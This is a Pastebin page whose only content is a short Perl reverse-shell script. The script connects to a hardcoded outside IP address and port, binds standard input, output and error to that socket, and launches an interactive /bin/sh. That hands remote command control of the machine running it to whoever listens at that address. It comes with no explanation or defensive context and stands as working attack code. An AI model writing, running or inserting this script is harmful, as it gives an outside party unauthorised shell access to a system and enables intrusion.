Advertisement
Guest User

Untitled

a guest
Feb 17th, 2020
92
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.25 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. use Socket;
  4.  
  5. $i="3.17.202.129";
  6. $p="19849";
  7. socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
  8.  
  9. if(connect(S,sockaddr_in($p,inet_aton($i))))
  10. {
  11. open(STDIN,">&S");
  12. open(STDOUT,">&S");
  13. open(STDERR,">&S");
  14. exec("/bin/sh -i");
  15. };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement